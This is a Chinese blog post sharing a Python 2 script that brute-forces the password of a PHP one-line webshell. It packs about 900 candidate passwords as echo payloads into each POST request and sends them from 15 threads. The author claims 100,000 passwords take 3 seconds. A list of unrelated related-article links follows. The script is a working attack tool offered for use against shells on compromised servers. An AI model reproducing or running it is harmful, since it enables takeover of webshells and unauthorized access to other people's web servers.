这个脚本是接地提供的思路,一句话爆破速度提升一千倍,看了他的帖子然而没有看到工具,思路很牛逼,我提供一个Python脚本

本地测试了下,十万密码只需要3秒,速度还是可以的

# coding:utf-8
# __author__ : learn

import threading,Queue,requests

class Add_password:

    def __init__(self,dictname,queue):
        self.dictname = dictname
        self.queue = queue

    # 加载字典 以\n分割 保存到list
    def load_file(self):
        with open(self.dictname,'r') as f:
            lines = f.readlines()

        return map(lambda x:x.split('\n')[0],lines)

    #========================
    '''分割数量大于 900 密码数量的字典算法
    因为apache 最多传入1000个参数。 如果 密码数量大于900 就分割字典 

    '''
    def split_file(self):
        file_read = self.load_file()
        file_list = []
        if len(file_read) < 900:
            file_list.append(file_read)
        elif len(file_read)%900 !=0 and len(file_read)/900 >= 1:
            split_num = len(file_read)

            for num in range(split_num/900-1):
                file_list.append(file_read[num*900:num*900+900])
            file_list.append(file_read[split_num/900*900:])
        return file_list

    # 主要的部分  用来生成payload 加入队列
    # 待post参数的格式为 {"pass":"echo 'pass';","pass2":"echo 'pass2';",...}
    def main(self):
        php_passwords = self.split_file()
        for q in php_passwords:
            payloads = [x for x in q]
            payload = map(lambda x:{x:"echo '%s';"%x},payloads)
            payload = reduce(lambda x,y:dict(x,**y),payload)
            self.queue.put(payload)
        return

class Main(threading.Thread):

    def __init__(self,url,queue):
        threading.Thread.__init__(self)
        self.url = url
        self.queue = queue
        self.payloads = {}

    def run(self):
        while True:
            if self.queue.empty():
                break
            data = self.queue.get_nowait()
            req = requests.post(self.url,data=data)

            #这里我判断的是 post之后的页面有没有echo的值 导致脚本局限性很大。
            if req.content != '':
                print 'Password Found: '+req.content
                exit(0)

if __name__ == '__main__':
    import sys

    threads = []
    q = Queue.Queue(maxsize=0)

    args = sys.argv
    if len(args)<3 or args[1][:4]!='http' or args[2][-3:] != 'txt':
        print 'usage: python %s [url]http://www.xxx.com/shell[/url],php password.txt'%args[0]
        sys.exit(0)

    Add_password(args[2],q).main()
    for i in range(15):#这里可以适当的修改,速度会提高
        threads.append(Main(args[1],q))

    for t in threads:
        t.start()

    for j in threads:
        j.join()

一句话爆破速度提升一千倍python脚本的更多相关文章

  1. 更快的Maven来了,我的天,速度提升了8倍!

    周末被 maven-mvnd 刷屏了,于是我也下载了一个 mvnd 体验了一把.虽然测试的数据都是基于我本地项目,不具备普适性和权威性,但也足以说明问题.它的测试结果远远超出我的预期,下面一起来看. ...

  2. numba,让python速度提升百倍

    python由于它动态解释性语言的特性,跑起代码来相比java.c++要慢很多,尤其在做科学计算的时候,十亿百亿级别的运算,让python的这种劣势更加凸显. 办法永远比困难多,numba就是解决py ...

  3. 有史以来性价比最高最让人感动的一次数据库&amp;SQL优化(DB &amp; SQL TUNING)——半小时性能提升千倍

    昨天,一个客户现场人员急急忙忙打电话找我,说需要帮忙调优系统,因为经常给他们干活,所以,也就没多说什么,先了解情况,据他们说,就是他们的系统最近才出现了明显的反应迟钝问题,他们的那个系统我很了解,软硬 ...

  4. 修改一行SQL代码 性能提升了N倍

    在PostgreSQL中修改了一行不明显的代码,把(ANY(ARRAY[...]) 改成 ANY(VALUES(...))),结果查询时间从20s变为0.2s.最初我们学习使用EXPLAN ANALY ...

  5. 修改一行SQL代码 性能提升了100倍

    在PostgreSQL中修改了一行不明显的代码,把(ANY(ARRAY[...]) 改成 ANY(VALUES(...))),结果查询时间从20s变为0.2s.最初我们学习使用 EXPLAN ANAL ...

  6. 深深感受 Promise.all 带来的速度提升

    什么是Promise Promise 是异步编程的一种解决方案,比传统的解决方案——回调函数和事件——更合理和更强大.(摘抄自 阮一峰老师的 ECMAScript 6 入门).具体请查看阮一峰老师的这 ...

  7. python之提速千倍爆破一句话

    看了一下冰河大佬写的文章特别有感:https://bbs.ichunqiu.com/thread-16952-1-1.html 简单描述一下: 利用传统的单数据提交模式. 比如下面这个一句话木马: & ...

  8. 使用Apache Spark 对 mysql 调优 查询速度提升10倍以上

    在这篇文章中我们将讨论如何利用 Apache Spark 来提升 MySQL 的查询性能. 介绍 在我的前一篇文章Apache Spark with MySQL 中介绍了如何利用 Apache Spa ...

  9. 如何将 iOS 工程打包速度提升十倍以上

    如何将 iOS 工程打包速度提升十倍以上   过慢的编译速度有非常明显的副作用.一方面,程序员在等待打包的过程中可能会分心,比如刷刷朋友圈,看条新闻等等.这种认知上下文的切换会带来很多隐形的时间浪费. ...

随机推荐

  1. SharePoint 2013 开发文档管理字段小记

    前言 最近有这样一个需求,就是要求在列表库里管理文档,需要多文档管理.带版本控制.可以单独授权等基本操作.于是乎,就开发了一个自定义段,这里介绍一下字段的思路,里面有一些遇到的问题,在群友的帮助下已解 ...

  2. MySQL Performance tuning

    1.表级锁状态 mysql> show status like 'table%'; +----------------------------+-----------+ | Variable_n ...

  3. Java虚拟机JVM学习01 流程概述

    Java虚拟机JVM学习01 流程概述 Java虚拟机与程序的生命周期 一个运行时的Java虚拟机(JVM)负责运行一个Java程序. 当启动一个Java程序时,一个虚拟机实例诞生:当程序关闭退出,这 ...

  4. Objective-C 快速入门--基础(一)

    1.实例变量的可见度有哪些?对访问变量有什么影响? 所谓的内部,指的是相应类的@implementation和@end之间 示例: @interface Person : NSObject { @pu ...

  5. 复杂sql分组查询 ( pivot)

    一个数据表里面字段有年.月.日.金额.支付方式等字段,然后现在想写个sql语句,把每一天的每种支付方式金额(支付方式有多重)排在同一行, 最后在增加一列小计当前的所有支付方式的金额.如下图: 原sql ...

  6. Android 短信的还原

    上篇文章讲到<Android 短信的备份>,本文主要实现Android 短信的还原,即是将一条 布局文件: <RelativeLayout xmlns:android="h ...

  7. Tableau——BI software

    Tableau 8权威指南 (权威的数据可视化实战手册,中国传媒大学教授沈浩.北京大学研究员袁晓如 联袂推荐) 触手可及的大数据分析工具——Tableau案例集 写给专业数据分析师的丛书,无门槛的大数 ...

  8. Linux下防火墙开启相关端口及查看已开启端口

    最近利用Apache Mina实现了一个http服务,发布到linux下发现无法访问,通过HttpClient来发送http请求时,报如下错误: Exception in thread "m ...

  9. HTML基础(一)——一般标签、常用标签和表格

    第一部分  HTML <html>    --开始标签 <head> 网页上的控制信息 <title>页面标题</title> </head> ...

  10. SQL Server 2012中Task是如何调度的?

    SQL Server 2012中Task是如何调度的?[原文来自:How It Works: SQL Server 2012 Database Engine Task Scheduling]     ...